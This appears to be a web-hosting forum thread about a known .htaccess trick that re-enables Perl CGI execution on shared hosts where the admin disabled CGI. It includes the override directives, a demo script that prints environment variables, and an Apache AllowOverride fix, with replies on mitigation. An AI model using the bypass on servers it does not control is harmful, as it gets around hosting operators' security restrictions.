Activity Stream
48,167 MEMBERS
6874 ONLINE
besthostingforums On YouTube Subscribe to our Newsletter besthostingforums On Twitter besthostingforums On Facebook besthostingforums On facebook groups

Results 1 to 4 of 4
  1.     
    #1
    Moderator
    NewEraCracker's Avatar

    Default Common perl exploit in shared hosts.

    Have you disabled cgi for your users?
    But you can still execute perl scripts.

    Are you amazed?
    I am not.

    This is a common .htaccess exploit

    Have fun with this:
    .htaccess
    Code: 
    Options +ExecCGI
    <FilesMatch \.pl$>
    SetHandler cgi-script
    </FilesMatch>
    test.pl - Windows version
    Code: 
    #!c:/perl/bin/perl.exe
    ##
    ##  printenv -- demo CGI program which just prints its environment
    ##
    
    print "Content-type: text/plain; charset=iso-8859-1\n\n";
    foreach $var (sort(keys(%ENV))) {
        $val = $ENV{$var};
        $val =~ s|\n|\\n|g;
        $val =~ s|"|\\"|g;
        print "${var}=\"${val}\"\n";
    }
    test.pl - Linux version
    Code: 
    #!/usr/bin/perl
    ##
    ##  printenv -- demo CGI program which just prints its environment
    ##
    
    print "Content-type: text/plain; charset=iso-8859-1\n\n";
    foreach $var (sort(keys(%ENV))) {
        $val = $ENV{$var};
        $val =~ s|\n|\\n|g;
        $val =~ s|"|\\"|g;
        print "${var}=\"${val}\"\n";
    }
    And this how to fix (Apache configuration for the directory):
    Code: 
    Options Indexes FollowSymLinks
    AllowOverride All Options=IncludesNOEXEC Options=Indexes Options=FollowSymLinks
    Update, changing Options may cause 500 errors, changing AllowOverride should still do some lower protection

    Thanks to CVE-2009-1195 for the idea.

    For details about the configurations see:
    https://httpd.apache.org/docs/curren...#allowoverride
    https://httpd.apache.org/docs/curren...e.html#options

    Be aware this thread was edited with better configuration to avoid 500 errors with legitimate .htaccess edits.

    If you face any errors with a certain .htaccess that you think being legitimate, reply here. Thanks.
    NewEraCracker Reviewed by NewEraCracker on . Common perl exploit in shared hosts. Have you disabled cgi for your users? But you can still execute perl scripts. Are you amazed? I am not. This is a common .htaccess exploit Have fun with this: .htaccess Rating: 5
    Trusted: Dom, l0calh0st, 0ccul7, robert420
    Find all threads started by NewEraCracker

  2.   Sponsored Links

  3.     
    #2
    Banned
    Website's:
    xsl.tel xsltel.com
    Hello NEC,

    I guess this Idea won't work on shared servers with fcgid/suphp handler.

    it will work on server with mod_php only. since Options +ExecCGI is needed by fcgid/suphp to run php scripts.

    I've tried it and all php scripts start to throw 500 error, I'm using fcgid

    Highest Regards
    Mohammed H

  4.     
    #3
    Member
    Website's:
    vaporhostn.com
    This has been known for years.. But its not so bad because its not like a user can get root access..

    Most have let the idea go..

    Best way to disable it is to run a command every hour that chmods all perl files on a shared host to 0000

    or else edit your cgi excutable so they are disabled

  5.     
    #4
    Moderator
    NewEraCracker's Avatar
    Can you tell me the value of "Options" in your server?
    That shouldn't be related with AllowOverride as it only controls the options that can be set in .htaccess

    Also,
    I'd advise people running shared hosts to use SuPHP and SuExec. That way things are executed in own user account.
    Trusted: Dom, l0calh0st, 0ccul7, robert420
    Find all threads started by NewEraCracker

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. 0-day WHCMS exploit
    By shadow.prx in forum General Discussion
    Replies: 3
    Last Post: 1st Jun 2012, 01:21 AM
  2. [Selling] [Exploit] Hot Exclusive YouTube Exploit [New]
    By Goob3r in forum Completed Transactions
    Replies: 1
    Last Post: 24th Aug 2010, 04:21 PM
  3. [Shared] ZippyHosts.Com - Cheapest Europe Shared Hosts 1.99 - Monthly
    By ZippyHosts in forum Archive
    Replies: 0
    Last Post: 1st Feb 2010, 08:16 PM
  4. [Shared] NEO Hosts - Shared - Reseller - Nulled - Warez - Adult
    By hsn09 in forum Archive
    Replies: 0
    Last Post: 19th Apr 2009, 02:19 PM

Tags for this Thread

BE SOCIAL